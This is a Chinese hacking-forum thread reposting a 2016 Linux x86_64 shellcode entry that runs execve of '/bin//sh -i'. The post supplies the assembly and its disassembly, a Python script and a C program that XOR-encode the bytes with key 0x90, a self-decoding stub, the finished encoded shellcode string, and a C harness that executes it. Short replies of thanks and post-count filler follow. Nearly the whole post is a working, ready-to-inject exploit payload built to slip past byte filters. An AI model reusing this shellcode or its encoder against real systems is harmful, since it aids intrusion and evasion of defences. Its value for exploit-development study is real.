查看: 37147|回复: 3324

Linux/x86_64 XOR Encode execve Shellcode

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2016-5-31 09:16:46 | 显示全部楼层 |阅读模式
    [C] 纯文本查看 复制代码
    /* 
        # Title : Linux x86_64 XOR encode execve("/bin//sh",{"//bin/sh","-i",NULL},NULL) shellcode
        # Date : 31-05-2016
        # Author : Roziul Hasan Khan Shifat
        # Tested On : Ubuntu 14.04 LTS x86_64
    */
      
      
    /*                              
                    main code 
                ------------------------
                                                      
    section .text
        global _start
    _start:
      
    xor rax,rax
    xor rdx,rdx
      
    push rax
    push rax
      
    mov [rsp],dword '//bi'
    mov [rsp+4],dword 'n/sh'
      
      
    mov rdi,rsp
      
      
    push rax
    push rax
      
    mov [rsp],word '-i'
    mov rsi,rsp
      
    push rdx
    push rsi
    push rdi
      
    mov rsi,rsp
      
    add rax,59
    syscall
      
      
                        Disassembly
                         ------------------
    Disassembly of section .text:
      
    0000000000400080 <_start>:
      400080:   48 31 c0                xor    %rax,%rax
      400083:   48 31 d2                xor    %rdx,%rdx
      400086:   50                      push   %rax
      400087:   50                      push   %rax
      400088:   c7 04 24 2f 2f 62 69    movl   $0x69622f2f,(%rsp)
      40008f:   c7 44 24 04 6e 2f 73    movl   $0x68732f6e,0x4(%rsp)
      400096:   68 
      400097:   48 89 e7                mov    %rsp,%rdi
      40009a:   50                      push   %rax
      40009b:   50                      push   %rax
      40009c:   66 c7 04 24 2d 69       movw   $0x692d,(%rsp)
      4000a2:   48 89 e6                mov    %rsp,%rsi
      4000a5:   52                      push   %rdx
      4000a6:   56                      push   %rsi
      4000a7:   57                      push   %rdi
      4000a8:   48 89 e6                mov    %rsp,%rsi
      4000ab:   48 83 c0 3b             add    $0x3b,%rax
      4000af:   0f 05                   syscall
        
    */
      
      
    /*
      
                        encoder
                       --------------
    I used a python script and a C program to encode shellcode
      
      
                            python script
                           ---------------------    
    a="\x48\x31\xc0\x48\x31\xd2\x50\x50\xc7\x04\x24\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\x48\x89\xe7\x50\x50\x66\xc7\x04\x24\x2d\x69\x48\x89\xe6\x52\x56\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
    print "shellcode length %d"%len(a)
    a=a[::-1]
      
    for i in range(len(a)-1):
        print a[i].encode('hex')
      
      
                            C program
                                -----------------
                                                              
    #include<stdio.h>
    #include<string.h>
    main(int i,char *a[])
    {
    if(i!=2)
    {
    printf("Usage %s <filename>\n",a[0]);
    return 0;
    }
      
      
      
    FILE *f,*o;
    f=fopen(a[1],"r");
    int shell;
      
    o=fopen("shellencode.txt","w");
    if(!f || !o )
    {
    perror("FILE I/O error: ");
    return 0;
    }
      
    while( (fscanf(f,"%x",&shell)) !=EOF )
    {
    printf("%.2x\n",shell);
    fprintf(o,"%#.2x,",shell^0x90); //0x90 is seed key
    fflush(o);
    }
      
      
    fclose(o);
    fclose(f);
    return 0;
    }
                                                              
    ---------------------------------------------------------------------------------------------------------------------------------
    I am sorry that My python script is very Poor .Search internet for better XOR encoder python script
    MY Python script Reverse the shellcode 
    Then COPY & Paste the rerversed shellcode into a file
    then i use the C program to encode reversed shellcode and write down shellencode.txt
    -----------------------------------------------------------------------------------------------------------------------------                                                       
      
    */
      
      
    /*
                        decoder
                        ---------------
    section .text
        global _start
    _start:
      
    jmp shellcode
      
      
    decoder:
    pop rsi
    xor rcx,rcx
    mov cl,49
      
    cdq
      
    mov dl,0x90 ;seed key
      
    decode:
    xor rax,rax
    mov al,[rsi]
    xor al,dl
    dec rsp
    mov [rsp],byte al
    inc rsi
    loop decode
      
    call rsp
      
      
    shellcode:
    call decoder
     db 0x95,0x9f,0xab,0x50,0x13,0xd8,0x76,0x19,0xd8,0xc7,0xc6,0xc2,0x76,0x19,0xd8,0xf9,0xbd,0xb4,0x94,0x57,0xf6,0xc0,0xc0,0x77,0x19,0xd8,0xf8,0xe3,0xbf,0xfe,0x94,0xb4,0xd4,0x57,0xf9,0xf2,0xbf,0xbf,0xb4,0x94,0x57,0xc0,0xc0,0x42,0xa1,0xd8,0x50,0xa1
      
      
                        Disassembly
                       -------------------
      
    Disassembly of section .text:
      
    0000000000400080 <_start>:
      400080:   eb 1d                   jmp    40009f <shellcode>
      
    0000000000400082 <decoder>:
      400082:   5e                      pop    %rsi
      400083:   48 31 c9                xor    %rcx,%rcx
      400086:   b1 31                   mov    $0x31,%cl
      400088:   99                      cltd   
      400089:   b2 90                   mov    $0x90,%dl
      
    000000000040008b <decode>:
      40008b:   48 31 c0                xor    %rax,%rax
      40008e:   8a 06                   mov    (%rsi),%al
      400090:   30 d0                   xor    %dl,%al
      400092:   48 ff cc                dec    %rsp
      400095:   88 04 24                mov    %al,(%rsp)
      400098:   48 ff c6                inc    %rsi
      40009b:   e2 ee                   loop   40008b <decode>
      40009d:   ff d4                   callq  *%rsp
      
    000000000040009f <shellcode>:
      40009f:   e8 de ff ff ff          callq  400082 <decoder>
      4000a4:   95                      xchg   %eax,%ebp
      4000a5:   9f                      lahf   
      4000a6:   ab                      stos   %eax,%es:(%rdi)
      4000a7:   50                      push   %rax
      4000a8:   13 d8                   adc    %eax,%ebx
      4000aa:   76 19                   jbe    4000c5 <shellcode+0x26>
      4000ac:   d8 c7                   fadd   %st(7),%st
      4000ae:   c6 c2 76                mov    $0x76,%dl
      4000b1:   19 d8                   sbb    %ebx,%eax
      4000b3:   f9                      stc    
      4000b4:   bd b4 94 57 f6          mov    $0xf65794b4,%ebp
      4000b9:   c0 c0 77                rol    $0x77,%al
      4000bc:   19 d8                   sbb    %ebx,%eax
      4000be:   f8                      clc    
      4000bf:   e3 bf                   jrcxz  400080 <_start>
      4000c1:   fe                      (bad)  
      4000c2:   94                      xchg   %eax,%esp
      4000c3:   b4 d4                   mov    $0xd4,%ah
      4000c5:   57                      push   %rdi
      4000c6:   f9                      stc    
      4000c7:   f2 bf bf b4 94 57       repnz mov $0x5794b4bf,%edi
      4000cd:   c0 c0 42                rol    $0x42,%al
      4000d0:   a1                      .byte 0xa1
      4000d1:   d8 50 a1                fcoms  -0x5f(%rax)
      
    */
      
    /*
    The shellcode decoder.asm is the encoded shellcode
    */
      
      
    char shellcode[]="\xeb\x1d\x5e\x48\x31\xc9\xb1\x31\x99\xb2\x90\x48\x31\xc0\x8a\x06\x30\xd0\x48\xff\xcc\x88\x04\x24\x48\xff\xc6\xe2\xee\xff\xd4\xe8\xde\xff\xff\xff\x95\x9f\xab\x50\x13\xd8\x76\x19\xd8\xc7\xc6\xc2\x76\x19\xd8\xf9\xbd\xb4\x94\x57\xf6\xc0\xc0\x77\x19\xd8\xf8\xe3\xbf\xfe\x94\xb4\xd4\x57\xf9\xf2\xbf\xbf\xb4\x94\x57\xc0\xc0\x42\xa1\xd8\x50\xa1";
      
      
    int main(int i,char *a[])
    {
    (* (int(*)()) shellcode)();
      
    }
    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-5-31 12:25:13 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-5-31 13:42:48 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-5-31 13:42:51 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-5-31 15:02:39 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-5-31 15:34:54 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2016-5-31 15:46:38 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2016-5-31 17:33:37 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2016-5-31 19:06:17 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-6-1 00:33:22 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-26 02:27 , Processed in 0.041477 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部